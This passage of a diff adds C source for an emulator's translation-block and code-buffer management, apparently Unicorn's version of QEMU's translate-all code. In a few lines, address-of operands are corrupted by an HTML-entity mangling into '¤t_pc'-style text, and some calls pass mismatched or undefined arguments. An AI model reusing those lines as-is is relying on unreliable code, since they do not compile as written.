V_L2_SIZE); + *lp = p; + } + + lp = p + ((index >> (i * V_L2_BITS)) & (V_L2_SIZE - 1)); + } + + pd = *lp; + if (pd == NULL) { + if (!alloc) { + return NULL; + } + ALLOC(pd, sizeof(PageDesc) * V_L2_SIZE); + *lp = pd; + } + +#undef ALLOC + + return pd + (index & (V_L2_SIZE - 1)); +} + +static inline PageDesc *page_find(struct uc_struct *uc, tb_page_addr_t index) +{ + return page_find_alloc(uc, index, 0); +} + +#if !defined(CONFIG_USER_ONLY) +#define mmap_lock() do { } while (0) +#define mmap_unlock() do { } while (0) +#endif + +#if defined(CONFIG_USER_ONLY) +/* Currently it is not recommended to allocate big chunks of data in + user mode. It will change when a dedicated libc will be used. */ +/* ??? 64-bit hosts ought to have no problem mmaping data outside the + region in which the guest needs to run. Revisit this. */ +#define USE_STATIC_CODE_GEN_BUFFER +#endif + +/* ??? Should configure for this, not list operating systems here. */ +#if (defined(__linux__) \ + || defined(__FreeBSD__) || defined(__FreeBSD_kernel__) \ + || defined(__DragonFly__) || defined(__OpenBSD__) \ + || defined(__NetBSD__)) +# define USE_MMAP +#endif + +/* Minimum size of the code gen buffer. This number is randomly chosen, + but not so small that we can't have a fair number of TB's live. */ +#define MIN_CODE_GEN_BUFFER_SIZE (1024u * 1024) + +/* Maximum size of the code gen buffer we'd like to use. Unless otherwise + indicated, this is constrained by the range of direct branches on the + host cpu, as used by the TCG implementation of goto_tb. */ +#if defined(__x86_64__) +# define MAX_CODE_GEN_BUFFER_SIZE (2ul * 1024 * 1024 * 1024) +#elif defined(__sparc__) +# define MAX_CODE_GEN_BUFFER_SIZE (2ul * 1024 * 1024 * 1024) +#elif defined(__aarch64__) +# define MAX_CODE_GEN_BUFFER_SIZE (128ul * 1024 * 1024) +#elif defined(__arm__) +# define MAX_CODE_GEN_BUFFER_SIZE (16u * 1024 * 1024) +#elif defined(__s390x__) + /* We have a +- 4GB range on the branches; leave some slop. */ +# define MAX_CODE_GEN_BUFFER_SIZE (3ul * 1024 * 1024 * 1024) +#elif defined(__mips__) + /* We have a 256MB branch region, but leave room to make sure the + main executable is also within that region. */ +# define MAX_CODE_GEN_BUFFER_SIZE (128ul * 1024 * 1024) +#else +# define MAX_CODE_GEN_BUFFER_SIZE ((size_t)-1) +#endif + +#define DEFAULT_CODE_GEN_BUFFER_SIZE_1 (8 * 1024 * 1024) + +#define DEFAULT_CODE_GEN_BUFFER_SIZE \ + (DEFAULT_CODE_GEN_BUFFER_SIZE_1 < MAX_CODE_GEN_BUFFER_SIZE \ + ? DEFAULT_CODE_GEN_BUFFER_SIZE_1 : MAX_CODE_GEN_BUFFER_SIZE) + +static inline size_t size_code_gen_buffer(struct uc_struct *uc, size_t tb_size) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + /* Size the buffer. */ + if (tb_size == 0) { +#ifdef USE_STATIC_CODE_GEN_BUFFER + tb_size = DEFAULT_CODE_GEN_BUFFER_SIZE; +#else + /* ??? Needs adjustments. */ + /* ??? If we relax the requirement that CONFIG_USER_ONLY use the + static buffer, we could size this on RESERVED_VA, on the text + segment size of the executable, or continue to use the default. */ + tb_size = (unsigned long)DEFAULT_CODE_GEN_BUFFER_SIZE; +#endif + } + if (tb_size < MIN_CODE_GEN_BUFFER_SIZE) { + tb_size = MIN_CODE_GEN_BUFFER_SIZE; + } + if (tb_size > MAX_CODE_GEN_BUFFER_SIZE) { + tb_size = MAX_CODE_GEN_BUFFER_SIZE; + } + tcg_ctx->code_gen_buffer_size = tb_size; + return tb_size; +} + +#ifdef __mips__ +/* In order to use J and JAL within the code_gen_buffer, we require + that the buffer not cross a 256MB boundary. */ +static inline bool cross_256mb(void *addr, size_t size) +{ + return ((uintptr_t)addr ^ ((uintptr_t)addr + size)) & 0xf0000000; +} + +/* We weren't able to allocate a buffer without crossing that boundary, + so make do with the larger portion of the buffer that doesn't cross. + Returns the new base of the buffer, and adjusts code_gen_buffer_size. */ +static inline void *split_cross_256mb(struct uc_struct *uc, void *buf1, size_t size1) +{ + void *buf2 = (void *)(((uintptr_t)buf1 + size1) & 0xf0000000); + size_t size2 = buf1 + size1 - buf2; + TCGContext *tcg_ctx = uc->tcg_ctx; + + size1 = buf2 - buf1; + if (size1 < size2) { + size1 = size2; + buf1 = buf2; + } + + tcg_ctx->code_gen_buffer_size = size1; + return buf1; +} +#endif + +#ifdef USE_STATIC_CODE_GEN_BUFFER +static uint8_t QEMU_ALIGN(CODE_GEN_ALIGN, static_code_gen_buffer[DEFAULT_CODE_GEN_BUFFER_SIZE]); + +void free_code_gen_buffer(struct uc_struct *uc) +{ + // Do nothing, we use a static buffer. +} + +static inline void *alloc_code_gen_buffer(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + void *buf = static_code_gen_buffer; +#ifdef __mips__ + if (cross_256mb(buf, tcg_ctx->code_gen_buffer_size)) { + buf = split_cross_256mb(buf, tcg_ctx->code_gen_buffer_size); + } +#endif + map_exec(buf, tcg_ctx->code_gen_buffer_size); + return buf; +} +#elif defined(USE_MMAP) +void free_code_gen_buffer(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + if (tcg_ctx->code_gen_buffer) + munmap(tcg_ctx->code_gen_buffer, tcg_ctx->code_gen_buffer_size); +} + +static inline void *alloc_code_gen_buffer(struct uc_struct *uc) +{ + int flags = MAP_PRIVATE | MAP_ANONYMOUS; + uintptr_t start = 0; + void *buf; + TCGContext *tcg_ctx = uc->tcg_ctx; + + /* Constrain the position of the buffer based on the host cpu. + Note that these addresses are chosen in concert with the + addresses assigned in the relevant linker script file. */ +# if defined(__PIE__) || defined(__PIC__) + /* Don't bother setting a preferred location if we're building + a position-independent executable. We're more likely to get + an address near the main executable if we let the kernel + choose the address. */ +# elif defined(__x86_64__) && defined(MAP_32BIT) + /* Force the memory down into low memory with the executable. + Leave the choice of exact location with the kernel. */ + flags |= MAP_32BIT; + /* Cannot expect to map more than 800MB in low memory. */ + if (tcg_ctx->code_gen_buffer_size > 800u * 1024 * 1024) { + tcg_ctx->code_gen_buffer_size = 800u * 1024 * 1024; + } +# elif defined(__sparc__) + start = 0x40000000ul; +# elif defined(__s390x__) + start = 0x90000000ul; +# elif defined(__mips__) + /* ??? We ought to more explicitly manage layout for softmmu too. */ +# ifdef CONFIG_USER_ONLY + start = 0x68000000ul; +# elif _MIPS_SIM == _ABI64 + start = 0x128000000ul; +# else + start = 0x08000000ul; +# endif +# endif + + buf = mmap((void *)start, tcg_ctx->code_gen_buffer_size, + PROT_WRITE | PROT_READ | PROT_EXEC, flags, -1, 0); + if (buf == MAP_FAILED) { + return NULL; + } + +#ifdef __mips__ + if (cross_256mb(buf, tcg_ctx->code_gen_buffer_size)) { + /* Try again, with the original still mapped, to avoid re-acquiring + that 256mb crossing. This time don't specify an address. */ + size_t size2, size1 = tcg_ctx->code_gen_buffer_size; + void *buf2 = mmap(NULL, size1, PROT_WRITE | PROT_READ | PROT_EXEC, + flags, -1, 0); + if (buf2 != MAP_FAILED) { + if (!cross_256mb(buf2, size1)) { + /* Success! Use the new buffer. */ + munmap(buf, size1); + return buf2; + } + /* Failure. Work with what we had. */ + munmap(buf2, size1); + } + + /* Split the original buffer. Free the smaller half. */ + buf2 = split_cross_256mb(buf, size1); + size2 = tcg_ctx->code_gen_buffer_size; + munmap(buf + (buf == buf2 ? size2 : 0), size1 - size2); + return buf2; + } +#endif + + return buf; +} +#else +void free_code_gen_buffer(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + if (tcg_ctx->code_gen_buffer) + g_free(tcg_ctx->code_gen_buffer); +} + +static inline void *alloc_code_gen_buffer(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + void *buf = g_malloc(tcg_ctx->code_gen_buffer_size); + + if (buf == NULL) { + return NULL; + } + +#ifdef __mips__ + if (cross_256mb(buf, tcg_ctx->code_gen_buffer_size)) { + void *buf2 = g_malloc(tcg_ctx->code_gen_buffer_size); + if (buf2 != NULL && !cross_256mb(buf2, size1)) { + /* Success! Use the new buffer. */ + free(buf); + buf = buf2; + } else { + /* Failure. Work with what we had. Since this is malloc + and not mmap, we can't free the other half. */ + free(buf2); + buf = split_cross_256mb(buf, tcg_ctx->code_gen_buffer_size); + } + } +#endif + + map_exec(buf, tcg_ctx->code_gen_buffer_size); + return buf; +} +#endif /* USE_STATIC_CODE_GEN_BUFFER, USE_MMAP */ + +static inline void code_gen_alloc(struct uc_struct *uc, size_t tb_size) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + tcg_ctx->code_gen_buffer_size = size_code_gen_buffer(uc, tb_size); + tcg_ctx->code_gen_buffer = alloc_code_gen_buffer(uc); + if (tcg_ctx->code_gen_buffer == NULL) { + fprintf(stderr, "Could not allocate dynamic translator buffer\n"); + exit(1); + } + + //qemu_madvise(tcg_ctx.code_gen_buffer, tcg_ctx.code_gen_buffer_size, + // QEMU_MADV_HUGEPAGE); + + /* Steal room for the prologue at the end of the buffer. This ensures + (via the MAX_CODE_GEN_BUFFER_SIZE limits above) that direct branches + from TB's to the prologue are going to be in range. It also means + that we don't need to mark (additional) portions of the data segment + as executable. */ + tcg_ctx->code_gen_prologue = (char*)tcg_ctx->code_gen_buffer + + tcg_ctx->code_gen_buffer_size - 1024; + tcg_ctx->code_gen_buffer_size -= 1024; + + tcg_ctx->code_gen_buffer_max_size = tcg_ctx->code_gen_buffer_size - + (TCG_MAX_OP_SIZE * OPC_BUF_SIZE); + tcg_ctx->code_gen_max_blocks = tcg_ctx->code_gen_buffer_size / + CODE_GEN_AVG_BLOCK_SIZE; + tcg_ctx->tb_ctx.tbs = + g_malloc(tcg_ctx->code_gen_max_blocks * sizeof(TranslationBlock)); +} + +/* Must be called before using the QEMU cpus. 'tb_size' is the size + (in bytes) allocated to the translation buffer. Zero means default + size. */ +void tcg_exec_init(struct uc_struct *uc, unsigned long tb_size) +{ + TCGContext *tcg_ctx; + + cpu_gen_init(uc); + code_gen_alloc(uc, tb_size); + tcg_ctx = uc->tcg_ctx; + tcg_ctx->code_gen_ptr = tcg_ctx->code_gen_buffer; + tcg_ctx->uc = uc; + page_init(); +#if !defined(CONFIG_USER_ONLY) || !defined(CONFIG_USE_GUEST_BASE) + /* There's no guest base to take into account, so go ahead and + initialize the prologue now. */ + tcg_prologue_init(tcg_ctx); +#endif +} + +bool tcg_enabled(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + return tcg_ctx->code_gen_buffer != NULL; +} + +/* Allocate a new translation block. Flush the translation buffer if + too many translation blocks or too much generated code. */ +static TranslationBlock *tb_alloc(struct uc_struct *uc, target_ulong pc) +{ + TranslationBlock *tb; + TCGContext *tcg_ctx = uc->tcg_ctx; + + if (tcg_ctx->tb_ctx.nb_tbs >= tcg_ctx->code_gen_max_blocks || + (size_t)(((char*)tcg_ctx->code_gen_ptr - (char*)tcg_ctx->code_gen_buffer)) >= + tcg_ctx->code_gen_buffer_max_size) { + return NULL; + } + tb = &tcg_ctx->tb_ctx.tbs[tcg_ctx->tb_ctx.nb_tbs++]; + tb->pc = pc; + tb->cflags = 0; + return tb; +} + +void tb_free(struct uc_struct *uc, TranslationBlock *tb) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + /* In practice this is mostly used for single use temporary TB + Ignore the hard cases and just back up if this TB happens to + be the last one generated. */ + if (tcg_ctx->tb_ctx.nb_tbs > 0 && + tb == &tcg_ctx->tb_ctx.tbs[tcg_ctx->tb_ctx.nb_tbs - 1]) { + tcg_ctx->code_gen_ptr = tb->tc_ptr; + tcg_ctx->tb_ctx.nb_tbs--; + } +} + +static inline void invalidate_page_bitmap(PageDesc *p) +{ + if (p->code_bitmap) { + g_free(p->code_bitmap); + p->code_bitmap = NULL; + } + p->code_write_count = 0; +} + +/* Set to NULL all the 'first_tb' fields in all PageDescs. */ +static void page_flush_tb_1(int level, void **lp) +{ + int i; + + if (*lp == NULL) { + return; + } + if (level == 0) { + PageDesc *pd = *lp; + + for (i = 0; i < V_L2_SIZE; ++i) { + pd[i].first_tb = NULL; + invalidate_page_bitmap(pd + i); + } + } else { + void **pp = *lp; + + for (i = 0; i < V_L2_SIZE; ++i) { + page_flush_tb_1(level - 1, pp + i); + } + } +} + +static void page_flush_tb(struct uc_struct *uc) +{ + int i; + + if (uc->l1_map == NULL) + return; + + for (i = 0; i < V_L1_SIZE; i++) { + page_flush_tb_1(V_L1_SHIFT / V_L2_BITS - 1, uc->l1_map + i); + } +} + +/* flush all the translation blocks */ +/* XXX: tb_flush is currently not thread safe */ +void tb_flush(CPUArchState *env1) +{ + CPUState *cpu = ENV_GET_CPU(env1); + struct uc_struct* uc = cpu->uc; + TCGContext *tcg_ctx = uc->tcg_ctx; + +#if defined(DEBUG_FLUSH) + printf("qemu: flush code_size=%ld nb_tbs=%d avg_tb_size=%ld\n", + (unsigned long)(tcg_ctx->code_gen_ptr - tcg_ctx->code_gen_buffer), + tcg_ctx->tb_ctx.nb_tbs, tcg_ctx->tb_ctx.nb_tbs > 0 ? + ((unsigned long)(tcg_ctx->code_gen_ptr - tcg_ctx->code_gen_buffer)) / + tcg_ctx->tb_ctx.nb_tbs : 0); +#endif + if ((unsigned long)((char*)tcg_ctx->code_gen_ptr - (char*)tcg_ctx->code_gen_buffer) + > tcg_ctx->code_gen_buffer_size) { + cpu_abort(cpu, "Internal error: code buffer overflow\n"); + } + tcg_ctx->tb_ctx.nb_tbs = 0; + + memset(cpu->tb_jmp_cache, 0, sizeof(cpu->tb_jmp_cache)); + + memset(tcg_ctx->tb_ctx.tb_phys_hash, 0, sizeof(tcg_ctx->tb_ctx.tb_phys_hash)); + page_flush_tb(uc); + + tcg_ctx->code_gen_ptr = tcg_ctx->code_gen_buffer; + /* XXX: flush processor icache at this point if cache flush is + expensive */ + tcg_ctx->tb_ctx.tb_flush_count++; +} + +#ifdef DEBUG_TB_CHECK + +static void tb_invalidate_check(target_ulong address) +{ + TranslationBlock *tb; + int i; + + address &= TARGET_PAGE_MASK; + for (i = 0; i < CODE_GEN_PHYS_HASH_SIZE; i++) { + for (tb = tb_ctx.tb_phys_hash[i]; tb != NULL; tb = tb->phys_hash_next) { + if (!(address + TARGET_PAGE_SIZE <= tb->pc || + address >= tb->pc + tb->size)) { + printf("ERROR invalidate: address=" TARGET_FMT_lx + " PC=%08lx size=%04x\n", + address, (long)tb->pc, tb->size); + } + } + } +} + +/* verify that all the pages have correct rights for code */ +static void tb_page_check(struct uc_struct *uc) +{ + TranslationBlock *tb; + int i, flags1, flags2; + TCGContext *tcg_ctx = uc->tcg_ctx; + + for (i = 0; i < CODE_GEN_PHYS_HASH_SIZE; i++) { + for (tb = tcg_ctx->tb_ctx.tb_phys_hash[i]; tb != NULL; + tb = tb->phys_hash_next) { + flags1 = page_get_flags(tb->pc); + flags2 = page_get_flags(tb->pc + tb->size - 1); + if ((flags1 & PAGE_WRITE) || (flags2 & PAGE_WRITE)) { + printf("ERROR page flags: PC=%08lx size=%04x f1=%x f2=%x\n", + (long)tb->pc, tb->size, flags1, flags2); + } + } + } +} + +#endif + +static inline void tb_hash_remove(TranslationBlock **ptb, TranslationBlock *tb) +{ + TranslationBlock *tb1; + + for (;;) { + tb1 = *ptb; + if (tb1 == tb) { + *ptb = tb1->phys_hash_next; + break; + } + ptb = &tb1->phys_hash_next; + } +} + +static inline void tb_page_remove(TranslationBlock **ptb, TranslationBlock *tb) +{ + TranslationBlock *tb1; + unsigned int n1; + + for (;;) { + tb1 = *ptb; + n1 = (uintptr_t)tb1 & 3; + tb1 = (TranslationBlock *)((uintptr_t)tb1 & ~3); + if (tb1 == tb) { + *ptb = tb1->page_next[n1]; + break; + } + ptb = &tb1->page_next[n1]; + } +} + +static inline void tb_jmp_remove(TranslationBlock *tb, int n) +{ + TranslationBlock *tb1, **ptb; + unsigned int n1; + + ptb = &tb->jmp_next[n]; + tb1 = *ptb; + if (tb1) { + /* find tb(n) in circular list */ + for (;;) { + tb1 = *ptb; + n1 = (uintptr_t)tb1 & 3; + tb1 = (TranslationBlock *)((uintptr_t)tb1 & ~3); + if (n1 == n && tb1 == tb) { + break; + } + if (n1 == 2) { + ptb = &tb1->jmp_first; + } else { + ptb = &tb1->jmp_next[n1]; + } + } + /* now we can suppress tb(n) from the list */ + *ptb = tb->jmp_next[n]; + + tb->jmp_next[n] = NULL; + } +} + +/* reset the jump entry 'n' of a TB so that it is not chained to + another TB */ +static inline void tb_reset_jump(TranslationBlock *tb, int n) +{ + tb_set_jmp_target(tb, n, (uintptr_t)((char*)tb->tc_ptr + tb->tb_next_offset[n])); +} + +/* invalidate one TB */ +void tb_phys_invalidate(struct uc_struct *uc, + TranslationBlock *tb, tb_page_addr_t page_addr) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + CPUState *cpu = uc->cpu; + PageDesc *p; + unsigned int h, n1; + tb_page_addr_t phys_pc; + TranslationBlock *tb1, *tb2; + + /* remove the TB from the hash list */ + phys_pc = tb->page_addr[0] + (tb->pc & ~TARGET_PAGE_MASK); + h = tb_phys_hash_func(phys_pc); + tb_hash_remove(&tcg_ctx->tb_ctx.tb_phys_hash[h], tb); + + /* remove the TB from the page list */ + if (tb->page_addr[0] != page_addr) { + p = page_find(uc, tb->page_addr[0] >> TARGET_PAGE_BITS); + tb_page_remove(&p->first_tb, tb); + invalidate_page_bitmap(p); + } + if (tb->page_addr[1] != -1 && tb->page_addr[1] != page_addr) { + p = page_find(uc, tb->page_addr[1] >> TARGET_PAGE_BITS); + tb_page_remove(&p->first_tb, tb); + invalidate_page_bitmap(p); + } + + tcg_ctx->tb_ctx.tb_invalidated_flag = 1; + + /* remove the TB from the hash list */ + h = tb_jmp_cache_hash_func(tb->pc); + if (cpu->tb_jmp_cache[h] == tb) { + cpu->tb_jmp_cache[h] = NULL; + } + + /* suppress this TB from the two jump lists */ + tb_jmp_remove(tb, 0); + tb_jmp_remove(tb, 1); + + /* suppress any remaining jumps to this TB */ + tb1 = tb->jmp_first; + for (;;) { + n1 = (uintptr_t)tb1 & 3; + if (n1 == 2) { + break; + } + tb1 = (TranslationBlock *)((uintptr_t)tb1 & ~3); + tb2 = tb1->jmp_next[n1]; + tb_reset_jump(tb1, n1); + tb1->jmp_next[n1] = NULL; + tb1 = tb2; + } + tb->jmp_first = (TranslationBlock *)((uintptr_t)tb | 2); /* fail safe */ + + tcg_ctx->tb_ctx.tb_phys_invalidate_count++; +} + +static inline void set_bits(uint8_t *tab, int start, int len) +{ + int end, mask, end1; + + end = start + len; + tab += start >> 3; + mask = 0xff << (start & 7); + if ((start & ~7) == (end & ~7)) { + if (start < end) { + mask &= ~(0xff << (end & 7)); + *tab |= mask; + } + } else { + *tab++ |= mask; + start = (start + 8) & ~7; + end1 = end & ~7; + while (start < end1) { + *tab++ = 0xff; + start += 8; + } + if (start < end) { + mask = ~(0xff << (end & 7)); + *tab |= mask; + } + } +} + +static void build_page_bitmap(PageDesc *p) +{ + int n, tb_start, tb_end; + TranslationBlock *tb; + + p->code_bitmap = g_malloc0(TARGET_PAGE_SIZE / 8); + + tb = p->first_tb; + while (tb != NULL) { + n = (uintptr_t)tb & 3; + tb = (TranslationBlock *)((uintptr_t)tb & ~3); + /* NOTE: this is subtle as a TB may span two physical pages */ + if (n == 0) { + /* NOTE: tb_end may be after the end of the page, but + it is not a problem */ + tb_start = tb->pc & ~TARGET_PAGE_MASK; + tb_end = tb_start + tb->size; + if (tb_end > TARGET_PAGE_SIZE) { + tb_end = TARGET_PAGE_SIZE; + } + } else { + tb_start = 0; + tb_end = ((tb->pc + tb->size) & ~TARGET_PAGE_MASK); + } + set_bits(p->code_bitmap, tb_start, tb_end - tb_start); + tb = tb->page_next[n]; + } +} + +TranslationBlock *tb_gen_code(CPUState *cpu, + target_ulong pc, target_ulong cs_base, + int flags, int cflags) // qq +{ + CPUArchState *env = cpu->env_ptr; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + TranslationBlock *tb; + tb_page_addr_t phys_pc, phys_page2; + int code_gen_size; + int ret; + + phys_pc = get_page_addr_code(env, pc); + tb = tb_alloc(env->uc, pc); + if (!tb) { + /* flush must be done */ + tb_flush(env); + /* cannot fail at this point */ + tb = tb_alloc(env->uc, pc); + /* Don't forget to invalidate previous TB info. */ + tcg_ctx->tb_ctx.tb_invalidated_flag = 1; + } + tb->tc_ptr = tcg_ctx->code_gen_ptr; + tb->cs_base = cs_base; + tb->flags = flags; + tb->cflags = cflags; + ret = cpu_gen_code(env, tb, &code_gen_size); // qq + if (ret == -1) { + tb_free(env->uc, tb); + return NULL; + } + tcg_ctx->code_gen_ptr = (void *)(((uintptr_t)tcg_ctx->code_gen_ptr + + code_gen_size + CODE_GEN_ALIGN - 1) & ~(CODE_GEN_ALIGN - 1)); + + phys_page2 = -1; + /* check next page if needed */ + if (tb->size) { + target_ulong virt_page2 = (pc + tb->size - 1) & TARGET_PAGE_MASK; + if ((pc & TARGET_PAGE_MASK) != virt_page2) { + phys_page2 = get_page_addr_code(env, virt_page2); + } + } + tb_link_page(cpu->uc, tb, phys_pc, phys_page2); + return tb; +} + +/* + * Invalidate all TBs which intersect with the target physical address range + * [start;end[. NOTE: start and end may refer to *different* physical pages. + * 'is_cpu_write_access' should be true if called from a real cpu write + * access: the virtual CPU will exit the current TB if code is modified inside + * this TB. + */ +void tb_invalidate_phys_range(struct uc_struct *uc, tb_page_addr_t start, tb_page_addr_t end, + int is_cpu_write_access) +{ + while (start < end) { + tb_invalidate_phys_page_range(uc, start, end, is_cpu_write_access); + start &= TARGET_PAGE_MASK; + start += TARGET_PAGE_SIZE; + } +} + +/* + * Invalidate all TBs which intersect with the target physical address range + * [start;end[. NOTE: start and end must refer to the *same* physical page. + * 'is_cpu_write_access' should be true if called from a real cpu write + * access: the virtual CPU will exit the current TB if code is modified inside + * this TB. + */ +void tb_invalidate_phys_page_range(struct uc_struct *uc, tb_page_addr_t start, tb_page_addr_t end, + int is_cpu_write_access) +{ + TranslationBlock *tb, *tb_next, *saved_tb; + CPUState *cpu = uc->current_cpu; +#if defined(TARGET_HAS_PRECISE_SMC) + CPUArchState *env = NULL; +#endif + tb_page_addr_t tb_start, tb_end; + PageDesc *p; + int n; +#ifdef TARGET_HAS_PRECISE_SMC + int current_tb_not_found = is_cpu_write_access; + TranslationBlock *current_tb = NULL; + int current_tb_modified = 0; + target_ulong current_pc = 0; + target_ulong current_cs_base = 0; + int current_flags = 0; +#endif /* TARGET_HAS_PRECISE_SMC */ + + p = page_find(uc, start >> TARGET_PAGE_BITS); + if (!p) { + return; + } + if (!p->code_bitmap && + ++p->code_write_count >= SMC_BITMAP_USE_THRESHOLD && + is_cpu_write_access) { + /* build code bitmap */ + build_page_bitmap(p); + } +#if defined(TARGET_HAS_PRECISE_SMC) + if (cpu != NULL) { + env = cpu->env_ptr; + } +#endif + + /* we remove all the TBs in the range [start, end[ */ + /* XXX: see if in some cases it could be faster to invalidate all + the code */ + tb = p->first_tb; + while (tb != NULL) { + n = (uintptr_t)tb & 3; + tb = (TranslationBlock *)((uintptr_t)tb & ~3); + tb_next = tb->page_next[n]; + /* NOTE: this is subtle as a TB may span two physical pages */ + if (n == 0) { + /* NOTE: tb_end may be after the end of the page, but + it is not a problem */ + tb_start = tb->page_addr[0] + (tb->pc & ~TARGET_PAGE_MASK); + tb_end = tb_start + tb->size; + } else { + tb_start = tb->page_addr[1]; + tb_end = tb_start + ((tb->pc + tb->size) & ~TARGET_PAGE_MASK); + } + if (!(tb_end <= start || tb_start >= end)) { +#ifdef TARGET_HAS_PRECISE_SMC + if (current_tb_not_found) { + current_tb_not_found = 0; + current_tb = NULL; + if (cpu->mem_io_pc) { + /* now we have a real cpu fault */ + current_tb = tb_find_pc(uc, cpu->mem_io_pc); + } + } + if (current_tb == tb && + (current_tb->cflags & CF_COUNT_MASK) != 1) { + /* If we are modifying the current TB, we must stop + its execution. We could be more precise by checking + that the modification is after the current PC, but it + would require a specialized function to partially + restore the CPU state */ + + current_tb_modified = 1; + // self-modifying code will restore state from TB + cpu_restore_state_from_tb(cpu, current_tb, cpu->mem_io_pc); + cpu_get_tb_cpu_state(env, ¤t_pc, ¤t_cs_base, + ¤t_flags); + } +#endif /* TARGET_HAS_PRECISE_SMC */ + /* we need to do that to handle the case where a signal + occurs while doing tb_phys_invalidate() */ + saved_tb = NULL; + if (cpu != NULL) { + saved_tb = cpu->current_tb; + cpu->current_tb = NULL; + } + tb_phys_invalidate(uc, tb, -1); + if (cpu != NULL) { + cpu->current_tb = saved_tb; + if (cpu->interrupt_request && cpu->current_tb) { + cpu_interrupt(cpu, cpu->interrupt_request); + } + } + } + tb = tb_next; + } +#if !defined(CONFIG_USER_ONLY) + /* if no code remaining, no need to continue to use slow writes */ + if (!p->first_tb) { + invalidate_page_bitmap(p); + if (is_cpu_write_access) { + tlb_unprotect_code_phys(cpu, start, cpu->mem_io_vaddr); + } + } +#endif +#ifdef TARGET_HAS_PRECISE_SMC + if (current_tb_modified) { + /* we generate a block containing just the instruction + modifying the memory. It will ensure that it cannot modify + itself */ + cpu->current_tb = NULL; + tb_gen_code(cpu, current_pc, current_cs_base, current_flags, 1); + cpu_resume_from_signal(cpu, NULL); + } +#endif +} + +#if !defined(CONFIG_SOFTMMU) +static void tb_invalidate_phys_page(struct uc_struct *uc, tb_page_addr_t addr, + uintptr_t pc, void *puc, + bool locked) +{ + TranslationBlock *tb; + PageDesc *p; + int n; +#ifdef TARGET_HAS_PRECISE_SMC + TranslationBlock *current_tb = NULL; + CPUState *cpu = uc->current_cpu; + CPUArchState *env = NULL; + int current_tb_modified = 0; + target_ulong current_pc = 0; + target_ulong current_cs_base = 0; + int current_flags = 0; +#endif + + addr &= TARGET_PAGE_MASK; + p = page_find(addr >> TARGET_PAGE_BITS); + if (!p) { + return; + } + tb = p->first_tb; +#ifdef TARGET_HAS_PRECISE_SMC + if (tb && pc != 0) { + current_tb = tb_find_pc(uc, pc); + } + if (cpu != NULL) { + env = cpu->env_ptr; + } +#endif + while (tb != NULL) { + n = (uintptr_t)tb & 3; + tb = (TranslationBlock *)((uintptr_t)tb & ~3); +#ifdef TARGET_HAS_PRECISE_SMC + if (current_tb == tb && + (current_tb->cflags & CF_COUNT_MASK) != 1) { + /* If we are modifying the current TB, we must stop + its execution. We could be more precise by checking + that the modification is after the current PC, but it + would require a specialized function to partially + restore the CPU state */ + + current_tb_modified = 1; + cpu_restore_state_from_tb(cpu, current_tb, pc); + cpu_get_tb_cpu_state(env, ¤t_pc, ¤t_cs_base, + ¤t_flags); + } +#endif /* TARGET_HAS_PRECISE_SMC */ + tb_phys_invalidate(uc, tb, addr); + tb = tb->page_next[n]; + } + p->first_tb = NULL; +#ifdef TARGET_HAS_PRECISE_SMC + if (current_tb_modified) { + /* we generate a block containing just the instruction + modifying the memory. It will ensure that it cannot modify + itself */ + cpu->current_tb = NULL; + tb_gen_code(cpu, current_pc, current_cs_base, current_flags, 1); + if (locked) { + mmap_unlock(); + } + cpu_resume_from_signal(cpu, puc); + } +#endif +} +#endif + +/* add the tb in the target page and protect it if necessary */ +static inline void tb_alloc_page(struct uc_struct *uc, TranslationBlock *tb, + unsigned int n, tb_page_addr_t page_addr) +{ + PageDesc *p; +#ifndef CONFIG_USER_ONLY + bool page_already_protected; +#endif + + tb->page_addr[n] = page_addr; + p = page_find_alloc(uc, page_addr >> TARGET_PAGE_BITS, 1); + tb->page_next[n] = p->first_tb; +#ifndef CONFIG_USER_ONLY + page_already_protected = p->first_tb != NULL; +#endif + p->first_tb = (TranslationBlock *)((uintptr_t)tb | n); + invalidate_page_bitmap(p); + +#if defined(TARGET_HAS_SMC) || 1 + +#if defined(CONFIG_USER_ONLY) + if (p->flags & PAGE_WRITE) { + target_ulong addr; + PageDesc *p2; + int prot; + + /* force the host page as non writable (writes will have a + page fault + mprotect overhead) */ + page_addr &= qemu_host_page_mask; + prot = 0; + for (addr = page_addr; addr < page_addr + qemu_host_page_size; + addr += TARGET_PAGE_SIZE) { + + p2 = page_find(addr >> TARGET_PAGE_BITS); + if (!p2) { + continue; + } + prot |= p2->flags; + p2->flags &= ~PAGE_WRITE; + } + mprotect(g2h(page_addr), qemu_host_page_size, + (prot & PAGE_BITS) & ~PAGE_WRITE); +#ifdef DEBUG_TB_INVALIDATE + printf("protecting code page: 0x" TARGET_FMT_lx "\n", + page_addr); +#endif + } +#else + /* if some code is already present, then the pages are already + protected. So we handle the case where only the first TB is + allocated in a physical page */ + if (!page_already_protected) { + tlb_protect_code(uc, page_addr); + } +#endif + +#endif /* TARGET_HAS_SMC */ +} + +void tb_invalidate_phys_page_fast(struct uc_struct* uc, tb_page_addr_t start, int len) +{ + PageDesc *p; + +#if 0 + if (1) { + qemu_log("modifying code at 0x%x size=%d EIP=%x PC=%08x\n", + cpu_single_env->mem_io_vaddr, len, + cpu_single_env->eip, + cpu_single_env->eip + + (intptr_t)cpu_single_env->segs[R_CS].base); + } +#endif + p = page_find(uc, start >> TARGET_PAGE_BITS); + if (!p) { + return; + } + if (p->code_bitmap) { + unsigned int nr; + unsigned long b; + + nr = start & ~TARGET_PAGE_MASK; + b = p->code_bitmap[BIT_WORD(nr)] >> ((nr & (BITS_PER_LONG - 1)) & 0x1f); + if (b & ((1 << len) - 1)) { + goto do_invalidate; + } + } else { + do_invalidate: + tb_invalidate_phys_page_range(uc, start, start + len, 1); + } +} + +/* add a new TB and link it to the physical page tables. phys_page2 is + (-1) to indicate that only one page contains the TB. */ +static void tb_link_page(struct uc_struct *uc, + TranslationBlock *tb, tb_page_addr_t phys_pc, tb_page_addr_t phys_page2) +{ + TCGContext *tcg_ctx = 